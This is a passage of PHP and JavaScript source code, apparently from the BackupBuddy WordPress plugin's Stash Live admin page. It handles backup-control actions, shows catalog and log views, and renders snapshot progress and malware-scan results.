trimmed remotely stored archived based on limits defined in Settings.' ); } else { pb_backupbuddy::alert( 'Error trimming remotely stored archives. See error log for details.' ); } } elseif ( 'restart_periodic' == $action ) { pb_backupbuddy::$options['remote_destinations'][$destination_id]['pause_periodic'] = '0'; $destination = pb_backupbuddy::$options['remote_destinations'][$destination_id]; // Update local var. pb_backupbuddy::save(); backupbuddy_live::queue_step( 'daily_init', $args = array() ); pb_backupbuddy::alert( __( 'Enabled Live Files Backup and Restarted Periodic Process (only running if between steps or timed out).', 'it-l10n-backupbuddy' ) ); } elseif ( 'restart_periodic_force' == $action ) { pb_backupbuddy::$options['remote_destinations'][$destination_id]['pause_periodic'] = '0'; $destination = pb_backupbuddy::$options['remote_destinations'][$destination_id]; // Update local var. pb_backupbuddy::save(); backupbuddy_live::queue_step( 'daily_init', $args = array(), $skip_run_now = false, $force_run_now = true ); pb_backupbuddy::alert( __( 'Enabled Live Files Backup and Restarted Periodic Process (forced to run now).', 'it-l10n-backupbuddy' ) ); } elseif( 'restart_at_step' == $action ) { $step = pb_backupbuddy::_POST( 'live_step' ); pb_backupbuddy::alert( 'Reset Periodic Process to run at step `' . $step . '` (FORCED). This may take a few minutes for the current process to complete.' ); backupbuddy_live::queue_step( $step, $args = array(), $skip_run_now = false, $force_run_now = true ); } elseif ( 'view_files' == $action ) { require( '_viewfiles.php' ); echo '<br><hr><br><br>'; /*} elseif ( 'view_stash_files' == $action ) { require( '_viewstashfiles.php' ); echo '<br><hr><br><br>'; */ } elseif ( 'view_files_tables' == $action ) { require( '_viewfiles_tables.php' ); echo '<br><hr><br><br>'; } elseif ( 'view_tables' == $action ) { require( '_viewtables.php' ); echo '<br><hr><br><br>'; } elseif ( 'view_catalog_raw' == $action ) { echo '<h3>Local Catalog File Signatures (raw):</h3>'; $catalog = backupbuddy_live_periodic::get_catalog(); echo '<textarea readonly="readonly" style="width: 100%;" wrap="off" cols="65" rows="20">' . print_r( $catalog, true ) . '</textarea>'; echo '<br><br><br>'; } elseif ( 'view_signatures_raw' == $action ) { echo '<h3>Local Catalog File Signatures (raw - contents and file count may fluctuate if periodic files process is not pasued):</h3>'; $catalog = backupbuddy_live_periodic::get_catalog(); echo '<textarea readonly="readonly" style="width: 100%;" wrap="off" cols="65" rows="20">' . print_r( $catalog, true ) . '</textarea>'; echo '<br><br><br>'; } elseif ( 'troubleshooting' == $action ) { echo '<h3>Stash Live Troubleshooting:</h3>'; require( '_troubleshooting.php' ); backupbuddy_live_troubleshooting::run(); $results = backupbuddy_live_troubleshooting::get_raw_results(); $download_button = '<div style="text-align: center; margin: 15px;"> <button class="button button-primary" onClick="backupbuddy_save_textarea_as_file(\'#backupbuddy_live_troubleshooting_results\', \'stash_live_troubleshooting\' );" style="margin-left: auto; margin-right: auto; display: inherit; font-size: 0.9em;">Download Troubleshooting Log (.txt)</button> </div>'; echo $download_button; echo '<textarea readonly="readonly" style="width: 100%;" wrap="off" cols="65" rows="30" id="backupbuddy_live_troubleshooting_results">' . print_r( $results, true ) . '</textarea>'; echo $download_button; echo '<br><br><br>'; } elseif ( 'last_snapshot_details' == $action ) { if ( '' == $state['stats']['last_remote_snapshot_id'] ) { pb_backupbuddy::alert( 'No Snapshot creations have been requested yet.' ); } else { $destination_settings = backupbuddy_live_periodic::get_destination_settings(); $additionalParams = array( 'snapshot' => $state['stats']['last_remote_snapshot_id'], ); echo '<h3>Last Snapshot Details</h3>'; echo '<b>Status as reported from server as of just now:</b><br>'; $response = pb_backupbuddy_destination_live::stashAPI( $destination_settings, 'live-snapshot-status', $additionalParams ); if ( ! is_array( $response ) ) { pb_backupbuddy::alert( 'Error #3497943: Unable to get Live snapshot status. Details: `' . $response . '`.' ); } else { echo '<textarea readonly="readonly" style="width: 100%;" wrap="off" cols="65" rows="15">' . print_r( $response, true ) . '</textarea>'; echo '<br><br>'; } echo '<b>Server response to request to initiate ( ' . pb_backupbuddy::$format->date( pb_backupbuddy::$format->localize_time( $state['stats']['last_remote_snapshot_response_time'] ) ) . '; ' . pb_backupbuddy::$format->time_ago( $state['stats']['last_remote_snapshot_response_time'] ) . ' ago):</b><br>'; echo '<textarea readonly="readonly" style="width: 100%;" wrap="off" cols="65" rows="15">' . print_r( $state['stats']['last_remote_snapshot_response'], true ) . '</textarea>'; echo '<br><br><br>'; } } elseif ( 'view_tables_raw' == $action ) { echo '<h3>Local Catalog Tables (raw):</h3>'; $tables = backupbuddy_live_periodic::get_tables(); echo '<textarea readonly="readonly" style="width: 100%;" wrap="off" cols="65" rows="20">' . print_r( $tables, true ) . '</textarea>'; echo '<br><br><br>'; } elseif ( 'view_signatures' == $action ) { echo '<h3>Local Files Catalog (contents and file count may fluctuate if periodic files process is not pasued):</h3>'; $siteSize = 0; $catalog = backupbuddy_live_periodic::get_catalog(); $catalogTable = array(); foreach( $catalog as $filename => $signature ) { if ( 0 != $signature['b'] ) { $sent = $signature['b']; } else { $sent = __( 'Pending', 'it-l10n-backupbuddy' ); } if ( isset( $signature['d'] ) && ( true === $signature['d'] ) ) { $delete = __( 'Yes', 'it-l10n-backupbuddy' ); } else { $delete = __( 'No', 'it-l10n-backupbuddy' ); $siteSize += $signature['s']; // File not marked for deletion. } if ( '' == $signature['h'] ) { $hash = 'n/a'; } else { $hash = $signature['h']; } if ( 0 == $signature['m'] ) { $modified = '<span class="description">Pending...</span>'; } else { $modified = $signature['m']; } if ( 0 == $signature['v'] ) { $audited = '<span class="description">Pending...</span>'; } else { $audited = $signature['v']; } $catalogTable[ $filename ] = array( $filename, (string)$signature['s'], (string)$signature['a'], $modified, $sent, $audited, (string)$signature['t'], $delete, $hash, ); } unset( $catalog ); $catalogInfo = 'Total catalog site size: `' . pb_backupbuddy::$format->file_size( $siteSize ) . '`. Total files in catalog: `' . count( $catalogTable ) . '`. Catalog file size: `' . pb_backupbuddy::$format->file_size( filesize( backupbuddy_core::getLogDirectory() . 'live/catalog-' . pb_backupbuddy::$options['log_serial'] . '.txt' ) ) . '`.'; echo $catalogInfo; pb_backupbuddy::$ui->list_table( $catalogTable, // Array of cron items set in code section above. array( 'live_action' => pb_backupbuddy::page_url() . '#pb_backupbuddy_getting_started_tab_tools', 'columns' => array( __( 'Files', 'it-l10n-backupbuddy' ), __( 'Size', 'it-l10n-backupbuddy' ), __( 'Added', 'it-l10n-backupbuddy' ), __( 'Modified', 'it-l10n-backupbuddy' ), __( 'Sent', 'it-l10n-backupbuddy' ), __( 'Audited', 'it-l10n-backupbuddy' ), __( 'Send Tries', 'it-l10n-backupbuddy' ), __( 'Delete?', 'it-l10n-backupbuddy' ), __( 'Hash', 'it-l10n-backupbuddy' ), ), 'css' => 'width: 100%;', ) ); // end list_table. unset( $catalogTable ); echo $catalogInfo; echo '<br><br><br>'; } elseif ( 'reset_send_attempts' == $action ) { if ( false === backupbuddy_live_periodic::reset_send_attempts() ) { pb_backupbuddy::alert( 'Error attempting to reset send attempt counts. The catalog may be busy. Try again in a moment or see the Status Log for details.' ); } else { pb_backupbuddy::alert( 'Success resetting send attempt counts back to zero for all files and global recent send fail counter.' ); } } elseif ( 'reset_last_activity' == $action ) { pb_backupbuddy::alert( 'Reset last activity timestamp.' ); backupbuddy_live_periodic::reset_last_activity(); } elseif ( 'reset_file_audit_times' == $action ) { pb_backupbuddy::alert( 'Reset file audit timestamps.' ); backupbuddy_live_periodic::reset_file_audit_times(); } elseif ( 'reset_first_completion' == $action ) { pb_backupbuddy::alert( 'Reset first completion timestamp.' ); backupbuddy_live_periodic::reset_first_completion(); } elseif ( 'reset_last_remote_snapshot' == $action ) { pb_backupbuddy::alert( 'Reset last remote snapshot timestamp.' ); backupbuddy_live_periodic::reset_last_remote_snapshot(); } elseif ( 'view_state' == $action ) { echo '<h3>State Data:</h3>'; echo '<textarea readonly="readonly" style="width: 100%;" wrap="off" cols="65" rows="20">' . print_r( $state, true ) . '</textarea>'; echo '<br><br><br>'; } elseif ( 'view_log' == $action ) { $sumLogFile = backupbuddy_core::getLogDirectory() . 'status-live_periodic_' . pb_backupbuddy::$options['log_serial'] . '.txt'; echo '<div style="padding: 4px;">'; echo '<b>Status Log</b> File size: ' . pb_backupbuddy::$format->file_size( @filesize( $sumLogFile ) ) . ' '; ?> <a href="<?php echo pb_backupbuddy::nonce_url( $admin_url . '?page=pb_backupbuddy_live&live_action=clear_log' ); ?>" class="button button-secondary button-tertiary" style="margin-left: 11px; vertical-align: 1px;">Clear Status Log</a> </div> <script> jQuery(document).ready( function(){ jQuery('#backupbuddy_live_log' ).scrollTop( jQuery('#backupbuddy_live_log')[0].scrollHeight ); }); </script> <?php echo '<textarea readonly="readonly" style="width: 100%;" wrap="off" cols="65" rows="20" id="backupbuddy_live_log">'; if ( ! file_exists( $sumLogFile ) ) { echo __( 'Nothing has been logged.', 'it-l10n-backupbuddy' ); } else { $lines = file_get_contents( $sumLogFile ); if ( false === $lines ) { echo 'Error #49834839: Unable to read log file `' . $sumLogFile . '`.'; } else { $lines = explode( "\n", $lines ); foreach( (array)$lines as $rawline ) { $line = json_decode( $rawline, true ); //print_r( $line ); if ( is_array( $line ) ) { $u = ''; if ( isset( $line['u'] ) ) { // As off v4.2.15.6. TODO: Remove this in a couple of versions once old logs without this will have cycled out. $u = '.' . $line['u']; } echo pb_backupbuddy::$format->date( $line['time'], 'G:i:s' ) . $u . "\t\t"; echo $line['run'] . "sec\t"; echo $line['mem'] . "MB\t"; echo $line['event'] . "\t"; echo $line['data'] . "\n"; } else { echo $rawline . "\n"; } } } } ?></textarea> <div style="display: inline-block; margin-left: 8px; margin-top: 5px;"><span class="description">Current Time: <?php echo pb_backupbuddy::$format->date( pb_backupbuddy::$format->localize_time( microtime( true ) ), 'G:i:s' ); ?></span></div> <br><br> <?php } elseif ( 'delete_catalog' == $action ) { $catalogFile = backupbuddy_core::getLogDirectory() . 'live/catalog-' . pb_backupbuddy::$options['log_serial'] . '.txt'; @unlink( $catalogFile ); sleep( 1 ); @unlink( $catalogFile ); sleep( 1 ); @unlink( $catalogFile ); if ( file_exists( $catalogFile ) ) { pb_backupbuddy::alert( 'Error #3927273: Unable to delete catalog file `' . $catalogFile . '`. Check permissions or manually delete.' ); } else { pb_backupbuddy::alert( 'Catalog deleted.' ); } $stateFile = backupbuddy_core::getLogDirectory() . 'live/state-' . pb_backupbuddy::$options['log_serial'] . '.txt'; @unlink( $stateFile ); sleep( 1 ); @unlink( $stateFile ); sleep( 1 ); @unlink( $stateFile ); if ( file_exists( $stateFile ) ) { pb_backupbuddy::alert( 'Error #434554: Unable to delete state file `' . $stateFile . '`. Check permissions or manually delete.' ); } else { pb_backupbuddy::alert( 'State file deleted.' ); } } elseif ( 'pause_periodic' == $action ) { backupbuddy_api::setLiveStatus( $pause_continuous = '', $pause_periodic = true ); $destination = pb_backupbuddy::$options['remote_destinations'][$destination_id]; // Update local var. pb_backupbuddy::disalert( '', __( 'Live File Backup paused. It may take a moment for current processes to finish.', 'it-l10n-backupbuddy' ) ); include( '_stats.php' ); // Recalculate stats. } elseif ( 'resume_periodic' == $action ) { $launchNowText = ' ' . __( 'Unpaused but not running now.', 'it-l10n-backupbuddy' ); $start_run = false; if ( '1' != pb_backupbuddy::_GET( 'skip_run_live_now' ) ) { $launchNowText = ''; $start_run = true; } backupbuddy_api::setLiveStatus( $pause_continuous = '', $pause_periodic = false, $start_run ); pb_backupbuddy::disalert( '', __( 'Live File Backup has resumed.', 'it-l10n-backupbuddy' ) . $launchNowText ); include( '_stats.php' ); // Recalculate stats. } elseif ( 'pause_continuous' == $action ) { backupbuddy_api::setLiveStatus( $pause_continuous = true, $pause_periodic = '' ); $destination = pb_backupbuddy::$options['remote_destinations'][$destination_id]; // Update local var. include( '_stats.php' ); // Recalculate stats. pb_backupbuddy::disalert( '', __( 'Live Database Backup paused.', 'it-l10n-backupbuddy' ) ); } elseif ( 'resume_continuous' == $action ) { backupbuddy_api::setLiveStatus( $pause_continuous = false, $pause_periodic = '' ); $destination = pb_backupbuddy::$options['remote_destinations'][$destination_id]; // Update local var. include( '_stats.php' ); // Recalculate stats. pb_backupbuddy::disalert( '', __( 'Live Database Backup resumed.', 'it-l10n-backupbuddy' ) ); } elseif ( 'view_raw_settings' == $action ) { echo '<h3>Raw Settings:</h3>'; echo '<textarea readonly="readonly" style="width: 100%;" wrap="off" cols="65" rows="20">' . print_r( pb_backupbuddy::$options['remote_destinations'][$destination_id], true ) . '</textarea>'; echo '<br><br><br>'; } elseif ( 'view_stats' == $action ) { echo '<h3>Raw Stats:</h3>'; echo '<textarea readonly="readonly" style="width: 100%;" wrap="off" cols="65" rows="20">' . print_r( $stats, true ) . '</textarea>'; echo '<br><br><br>'; } } // end if action. // Backup types' Status. $database_status = '<span class="backpbuddy-live-stats-enabled">' .__( 'Enabled', 'it-l10n-backupbuddy' ) . '</span>'; $database_status_row = ''; if ( '1' == $destination['pause_continuous'] ) { $database_status = '<span class="backpbuddy-live-stats-paused">' . __( 'Paused', 'it-l10n-backupbuddy' ) . '</span>'; $database_status_row = 'backupbuddy-live-stats-paused-row'; } $files_status = '<span class="backpbuddy-live-stats-enabled">' . __( 'Enabled', 'it-l10n-backupbuddy' ) . '</span>'; $files_status_row = ''; if ( '1' == $destination['pause_periodic'] ) { $files_status = '<span class="backpbuddy-live-stats-paused">' . __( 'Paused', 'it-l10n-backupbuddy' ) . '</span>'; $files_status_row = 'backupbuddy-live-stats-paused-row'; } // Database total size. if ( 0 == $state['stats']['files_total_size'] ) { $totalDatabaseSizeDisplay = '<span class="description">Calculating...</span>'; } else { $totalDatabaseSizeDisplay = pb_backupbuddy::$format->file_size( $state['stats']['tables_total_size'] ); } // Calculate tables pending deletion. $tablesPendingDelete = ''; if ( 0 != $state['stats']['tables_pending_delete'] ) { $tablesPendingDelete = ', ' . $state['stats']['tables_pending_delete'] . ' ' . __( 'pending deletion', 'it-l10n-backupbuddy' ); } // Database tables sent. $tablesSent = ( $state['stats']['tables_total_count'] - $state['stats']['tables_pending_send'] ); // Tables percent sent (by count). if ( $state['stats']['tables_total_count'] > 0 ) { $tablesSentPercent = ceil( ( $tablesSent / $state['stats']['tables_total_count'] ) * 100 ); if ( ( 100 == $tablesSentPercent ) && ( $tablesSent < $state['stats']['tables_total_count'] ) ) { // If we were to display 100% sent but files still remain, convert to 99.9% to help indicate the gap. $tablesSentPercent = 99.9; } } else { $tablesSentPercent = 0; } // Files total size. if ( 0 == $state['stats']['files_total_size'] ) { $totalFilesSizeDisplay = '<span class="description">Calculating...</span>'; } else { $totalFilesSizeDisplay = '<span class="description">' . pb_backupbuddy::$format->file_size( $state['stats']['files_total_size'] ) . '</span>'; } // Files sent. $filesSent = ( $state['stats']['files_total_count'] - $state['stats']['files_pending_send'] ); // Files percent sent (by count). if ( $state['stats']['files_total_count'] > 0 ) { $filesSentPercent = ceil( ( $filesSent / $state['stats']['files_total_count'] ) * 100 ); if ( ( 100 == $filesSentPercent ) && ( $filesSent < $state['stats']['files_total_count'] ) ) { // If we were to display 100% sent but files still remain, convert to 99.9% to help indicate the gap. $filesSentPercent = 99.9; } } else { $filesSentPercent = 0; } // Calculate files pending deletion. $filesPendingDelete = ''; if ( 0 != $state['stats']['files_pending_delete'] ) { $filePendingDelete = ', ' . $state['stats']['files_pending_delete'] . ' ' . __( 'pending deletion', 'it-l10n-backupbuddy' ); } ?> <script> var backupbuddy_live_snapshot_status_pretty = ''; var backupbuddy_live_snapshot_step = 1; function backupbuddy_live_stats( stats ) { if ( stats.error_alert.length > 0 ) { jQuery( '.pb_backupbuddy_alert[rel="stash_live_error_alert"]' ).html( '<h3><?php _e( 'Oops, something may have gone wrong (most errors try to fix themselves after a bit of time)', 'it-l10n-backupbuddy' ); ?>:</h3><br>' + stats.error_alert ).show(); } else { jQuery( '.pb_backupbuddy_alert[rel="stash_live_error_alert"]' ).text( '' ).hide(); } // Display progress bar if needed. When not on daily_init AND ( during first completion OR during manual snapshot ) if ( ( ( 'daily_init' != stats.current_function ) && ( '0' == stats.first_completion || 2 === backupbuddy_live_snapshot_step ) ) || ( ( 'undefined' != typeof window.backupbuddy_live_snapshot_request_time ) && ( '' != window.backupbuddy_live_snapshot_request_time ) ) ) { //jQuery( '.pb_backupbuddy_alert' ).hide(); //jQuery( '.pb_backupbuddy_alert[rel="live_first_completion"]' ).show(); jQuery( '.backupbuddy-live-snapshot-progress-bar' ).show(); // if we're on db step, update UI if ( ( 'database_snapshot' == stats.current_function ) || ( 'send_pending_db_snapshots' == stats.current_function ) || ( 'process_table_deletions' == stats.current_function ) ) { jQuery( '.bb_progress-step-completed' ).removeClass( 'bb_progress-step-completed' ); // Reset. jQuery( '.bb_progress-step-database' ).addClass('bb_progress-step-active'); // DB active. } else if ( ( 'update_files_list' == stats.current_function ) || ( 'update_files_signatures' == stats.current_function ) || ( 'process_file_deletions' == stats.current_function ) || ( 'send_pending_files' == stats.current_function ) || ( 'audit_remote_files' == stats.current_function ) ) { // if we're on files step, update UI jQuery( '.bb_progress-step-database' ).removeClass('bb_progress-step-active').addClass( 'bb_progress-step-completed' ); // DB done. jQuery( '.bb_progress-step-files' ).addClass('bb_progress-step-active'); // FILES active. } else if ( ( 'run_remote_snapshot' == stats.current_function ) || ( stats.last_remote_snapshot_response_time > window.backupbuddy_live_snapshot_request_time ) ) { // or last snapshot trigger time is since this snapshot began. in case we miss the run_remote_snapshot step. jQuery( '.bb_progress-step-database' ).removeClass('bb_progress-step-active').addClass( 'bb_progress-step-completed' ); // DB done. jQuery( '.bb_progress-step-files' ).removeClass('bb_progress-step-active').addClass( 'bb_progress-step-completed' ); // FILES done. jQuery( '.bb_progress-step-snapshot' ).addClass('bb_progress-step-active' ); // SNAPSHOT active. } // While 'SnapShot' portion of progress bar is active, replace current function details to reflect this. if ( jQuery( '.bb_progress-step-snapshot' ).hasClass( 'bb_progress-step-active' ) ) { stats.current_function_pretty = '<?php _e( 'Building Snapshot', 'it-l10n-backupbuddy' ); ?>' + backupbuddy_live_snapshot_status_pretty; // backupbuddy_live_snapshot_status_pretty contains snapshot details returned from Stash server during snapshot building. } } else { // If first backup and on daily_init, reset status bar in case things got reset. if ( ( '0' == stats.first_completion ) && ( 'daily_init' == stats.current_function ) ) { jQuery( '.bb_progress-step-database' ).removeClass('bb_progress-step-active').removeClass( 'bb_progress-step-completed' ); jQuery( '.bb_progress-step-files' ).removeClass('bb_progress-step-active').removeClass( 'bb_progress-step-completed' ); jQuery( '.bb_progress-step-snapshot' ).removeClass('bb_progress-step-active').removeClass( 'bb_progress-step-completed' ); } } // Is manual snapshot pending? if ( 'undefined' != typeof window.backupbuddy_live_snapshot_request_time ) { // On remote snapshot function? if ( ( 1 == backupbuddy_live_snapshot_step ) && ( ( 'run_remote_snapshot' == stats.current_function ) || ( stats.last_remote_snapshot_response_time > window.backupbuddy_live_snapshot_request_time ) ) ) { jQuery( '.pb_backupbuddy_alert' ).hide(); jQuery( '.bb_progress-step-files' ).removeClass('bb_progress-step-active').addClass( 'bb_progress-step-completed' ); jQuery( '.bb_progress-step-snapshot' ).addClass('bb_progress-step-active'); backupbuddy_live_snapshot_step = 2; } if ( ( 2 == backupbuddy_live_snapshot_step ) && ( stats.last_remote_snapshot_response_time > window.backupbuddy_live_snapshot_request_time ) && ( 'object' == typeof stats.last_remote_snapshot_response ) ) { <?php if ( pb_backupbuddy::$options['log_level'] == '3' ) { // Full logging enabled. ?> console.log( 'Last snapshot response:' ); console.dir( stats.last_remote_snapshot_response ); <?php } ?> setTimeout( 'backupbuddy_live_snapshot_status_check( "' + stats.last_remote_snapshot_response.snapshot + '" )', 3000 ); jQuery( '.bb_progress-step-files' ).removeClass('bb_progress-step-active').addClass( 'bb_progress-step-completed' ); backupbuddy_live_snapshot_step = 3; } } // If new snapshot has begun since loading the page (and it's automatic triggered), then start watching for the status to update. stash_iframe = jQuery( '#backupbuddy_live-stash_iframe' ); if ( ( ( parseInt( stash_iframe.attr( 'data-refreshed' ) ) < ( stats.last_remote_snapshot ) ) ) && ( 'automatic' == stats.last_remote_snapshot_trigger ) ) { setTimeout( 'backupbuddy_live_snapshot_status_check( "' + stats.last_remote_snapshot_response.snapshot + '" )', 3000 ); } // Has there been a snapshot since the Stash frame was last refreshed? /* stash_iframe = jQuery( '#backupbuddy_live-stash_iframe' ); if ( ( parseInt( stash_iframe.attr( 'data-refreshed' ) ) < ( stats.last_remote_snapshot ) ) ) { refresh_delay_min = (60*15); refresh_time = stats.current_time + refresh_delay_min; // Refresh in `refresh_delay_min` minutes. setTimeout( function(refresh_time){ jQuery( '#backupbuddy_live-stash_iframe' ).attr( 'src', jQuery( '#backupbuddy_live-stash_iframe' ).attr( 'src' ) ); jQuery( '#backupbuddy_live-stash_iframe' ).attr( 'data-refreshed', refresh_time ); // Update refresh timestamp. }, ( refresh_delay_min*1000 ), refresh_time ); } */ // This grabs the template, and inserts HTML ( with appropriate data ) into the DOM _.templateSettings.variable = 'stats'; _.templateSettings.evaluate = /<#([\s\S]+?)#>/g; _.templateSettings.interpolate = /\{\{\{([\s\S]+?)\}\}\}/g; _.templateSettings.escape = /\{\{([^\}]+?)\}\}(?!\})/g; var template = _.template( jQuery( '#backupbuddy-live-stats-tmpl' ).html() ); jQuery( '.backupbuddy-live-stats-container' ).html( template(stats) ); // First backup completion. if ( stats.first_completion > 0 ) { if ( jQuery( '.pb_backupbuddy_alert[rel="live_first_completion"]' ).is( ':visible' ) ) { jQuery( '.pb_backupbuddy_alert[rel="live_first_completion_done"]' ).show(); } jQuery( '.pb_backupbuddy_alert[rel="live_first_completion"]' ).remove(); } } // End backupbuddy_live_stats(). var snapshot_infected_warning = false; // Set true if malware is found to warn on download attempt. function backupbuddy_live_snapshot_status_check( snapshot_id ) { if ( '' == snapshot_id ) { return false; } loadingIndicator.show(); console.log( 'live_snapshot_status_check' ); jQuery.ajax({ url: snapshotStatusURL, type: 'post', data: { snapshot_id: snapshot_id }, context: document.body, success: function( data ) { if ( 0 != loadingIndicator.length ) { loadingIndicator.hide(); } jQuery( '.pb_backupbuddy_alert' ).hide(); jQuery( '.pb_backupbuddy_alert[rel="live_first_completion"]' ).show(); try { snapshotStatus = jQuery.parseJSON( data ); } catch(e) { // NOT json or some error. alert( 'Unable to get snapshot status. Details here and in console: `' + data + '`.' ); console.log( 'Live Stats Response (ERROR #48943745):' ); console.dir( data ); return false; } <?php if ( pb_backupbuddy::$options['log_level'] == '3' ) { // Full logging enabled. ?> console.log( 'BackupBuddy Snapshot Status:' ); console.dir( snapshotStatus ); <?php } ?> if ( '1' == snapshotStatus.complete ) { // Snapshot FINISHED. window.backupbuddy_live_snapshot_request_time = ''; // Unset. // Error encountered. if ( 'error' == snapshotStatus.status ) { alert( 'An unexpected error was encountered while creating your Snapshot: `' + snapshotStatus.message + '`. Check your Snapshot listing below to check whether the Snapshot was created or not.' ); } // Snapshot info is missing from response. if ( 'undefined' == typeof snapshotStatus.snapshot ) { jQuery( '.backupbuddy-live-snapshot-progress-bar' ).hide(); // No download info available so hide bar. // Refresh Stash iFrame to show new file IF it happened to work... jQuery( '.backupbuddy_live_iframe_load' ).show(); jQuery( '#backupbuddy_live-stash_iframe' ).attr( 'src', jQuery( '#backupbuddy_live-stash_iframe' ).attr( 'src' ) ); jQuery( '#backupbuddy_live-stash_iframe' ).attr( 'data-refreshed', snapshotStatus.current_time ); // Update refresh timestamp. return false; } jQuery( '.bb_progress-step-snapshot, .bb_progress-step-files' ).removeClass('bb_progress-step-active').addClass( 'bb_progress-step-completed' ); jQuery( '.bb_progress-step-finished' ).addClass('bb_progress-step-completed'); jQuery( '#backupbuddy_live_snapshot-working' ).hide(); jQuery( '#backupbuddy_live_snapshot-success' ).show(); // Refresh Stash iFrame to show new file. jQuery( '.backupbuddy_live_iframe_load' ).show(); jQuery( '#backupbuddy_live-stash_iframe' ).attr( 'src', jQuery( '#backupbuddy_live-stash_iframe' ).attr( 'src' ) ); jQuery( '#backupbuddy_live-stash_iframe' ).attr( 'data-refreshed', snapshotStatus.current_time ); // Update refresh timestamp. // Malware scanning. jQuery.each( snapshotStatus.snapshot.malware.stats, function(index,value){ jQuery( '#backupbuddy_live_snapshot-success-malware .backupbuddy_live_malware_result[data-result="' + index + '"]' ).text( value ); }); if ( jQuery( snapshotStatus.snapshot.malware.files ).size() > 0 ) { snapshot_infected_warning = true; jQuery( '.backupbuddy_live_malware_result[data-result="infected_files"]' ).css( 'color', 'red' ); jQuery( '#backupbuddy_live_snapshot-success-malware-files' ).show(); jQuery.each( snapshotStatus.snapshot.malware.files, function(index,value){ jQuery( '#backupbuddy_live_snapshot-success-malware-files ul' ).append( '<li>' + index + '<ul><li style="list-style-type: circle;">' + value + '</li></ul></li>' ); }); } else { snapshot_infected_warning = false; } jQuery( '#backupbuddy_live_snapshot-success-duration' ).text( snapshotStatus.duration ).attr( 'title', 'Start: `' + snapshotStatus.timestamp_start + '`. Finish: `' + snapshotStatus.timestamp_finish + '`.' );; if ( true === snapshotStatus.snapshot.stash_copy ) { jQuery( '#backupbuddy_live_snapshot-stashed' ).show(); } if ( 'undefined' != typeof snapshotStatus.snapshot.zips.full ) { jQuery( '#backupbuddy_live_snapshot-success-backup_full' ).show().find('a').attr( 'href', snapshotStatus.snapshot.zips.full ); } if ( 'undefined' != typeof snapshotStatus.snapshot.zips.db ) { jQuery( '#backupbuddy_live_snapshot-success-backup_db' ).show().find('a').attr( 'href', snapshotStatus.snapshot.zips.db ); } if ( 'undefined' != typeof snapshotStatus.snapshot.zips.plugins ) { jQuery( '#backupbuddy_live_snapshot-success-backup_plugins' ).show().find('a').attr( 'href', snapshotStatus.snapshot.zips.plugins ); } if ( 'undefined' != typeof snapshotStatus.snapshot.zips.themes ) { jQuery( '#backupbuddy_live_snapshot-success-backup_themes' ).show().find('a').attr( 'href', snapshotStatus.snapshot.zips.themes ); } if ( ( false === snapshotStatus.snapshot.missing_ib ) && ( 'undefined' != typeof snapshotStatus.snapshot.importbuddy ) ) { jQuery( '#backupbuddy_live_snapshot-success-backup_importbuddy' ).show().find('a').attr( 'href', snapshotStatus.snapshot.importbuddy.url ); } } else { // Snapshot IN PROGRESS. jQuery( '#backupbuddy_live_snapshot-success' ).hide(); //jQuery( '#backupbuddy_live_snapshot-working' ).show(); backupbuddy_live_snapshot_status_pretty = ' - ' + snapshotStatus.message; //jQuery( '#backupbuddy_live_snapshot-working-status' ).text( snapshotStatus.message ); //jQuery( '#backupbuddy_live_snapshot-working-duration' ).text( snapshotStatus.duration ); setTimeout( 'backupbuddy_live_snapshot_status_check( "' + snapshot_id + '" )', 5000 ); } } }); } // End backupbuddy_live_snapshot_status_check(). </script> <?php require_once( pb_backupbuddy::plugin_path() . '/destinations/live/_statsPoll.php' ); ?> <div class="bb_progress-bar backupbuddy-live-snapshot-progress-bar clearfix"> <div class="bb_progress-step bb_progress-step-database"> <div class="bb_progress-step-icon"></div> <div class="bb_progress-step-title">Database</div> <span class="bb_progress-loading"></span> </div> <div class="bb_progress-step bb_progress-step-files"> <div class="bb_progress-step-icon"></div> <div class="bb_progress-step-title">Files</div> <span class="bb_progress-loading"></span> </div> <div class="bb_progress-step bb_progress-step-snapshot"> <div class="bb_progress-step-icon"></div> <div class="bb_progress-step-title">Remote Snapshot</div> <span class="bb_progress-loading"></span> </div> <div class="bb_progress-step bb_progress-step-finished"> <div class="bb_progress-step-icon"></div> <div class="bb_progress-step-title">Finished!</div> <span class="bb_progress-loading"></span> </div> </div> <div class="backupbuddy-live-stats-container postbox"></div> <script type="text/template" id="backupbuddy-live-stats-tmpl"> <div class="backupbuddy-live-stats-grid"> <div class="col col-3-3"> <div class="backupbuddy-live-stats-currently"> <span class="backupbuddy-pulsing-orb"></span> <span class="backupbuddy-live-stats-currently-text"> <span class="backupbuddy-inline-label"><?php _e( 'Currently', 'it-l10n-backupbuddy' ); ?></span>: {{ stats.current_function_pretty }} </span> <div class="backupbuddy-live-stats-help"> <a href="https://ithemes.com/support/" class="backupbuddy-live-button secondary" target="_blank"><?php _e( 'Need Help?', 'it-l10n-backupbuddy' ); ?></a> <span class="backupbuddy-live-stats-version-number">v<?php echo pb_backupbuddy::settings( 'version' ) ?></span> </div> </div> </div> <div class="col col-2-3"> <div class="col col-1-3"> <div class="backupbuddy-live-stats-database backupbuddy-live-stats-column <# if ( stats.continuous_status == '0' ) { #>paused <# } #>"> <div class="backupbudy-live-stats-data-container"> <div class="backupbuddy-live-stats-meta-overlay"> <div class="backupbuddy-live-stats-meta-section"> <span><?php _e( 'Last Activity', 'it-l10n-backupbuddy' ); ?></span> {{ stats.last_database_live_activity_ago }} </div> <div class="backupbuddy-live-stats-meta-section"> <span><?php _e( 'Next Full Scan', 'it-l10n-backupbuddy' ); ?></span> {{ stats.next_db_snapshot_pretty }} </div> </div> <div class="backupbuddy-live-stats-column-heading"> <?php _e( 'Database', 'it-l10n-backupbuddy' ); ?> </div> <div class="backupbuddy-live-stats-big-number"> {{ stats.database_tables_sent }} </div> <div class="backupbuddy-live-stats-sub-numbers"> <?php _e( 'of', 'it-l10n-backupbuddy' ); ?> {{ stats.database_tables_total }}<br> <?php _e( 'Tables', 'it-l10n-backupbuddy' ); ?> </div> <div class="backupbuddy-live-stats-progress-bar-container"> <div class="backupbuddy-live-stats-progress-bar"> <div class="backupbuddy-live-stats-progress-bar-highlight <# if ( '100' != stats.database_tables_sent_percent ) { #>animate<# } #>" title="{{stats.database_tables_sent_percent }}%" style="width:{{ stats.database_tables_sent_percent }}%"></div> </div> <div class="backupbuddy-live-stats-progress-bar-percentage"> {{{ Math.floor(stats.database_tables_sent_percent) }}}% </div> </div> <div class="backupbuddy-live-stats-total"> {{ stats.database_size_pretty }} </div> </div> <div class="backupbuddy-live-stats-action"> <# if ( 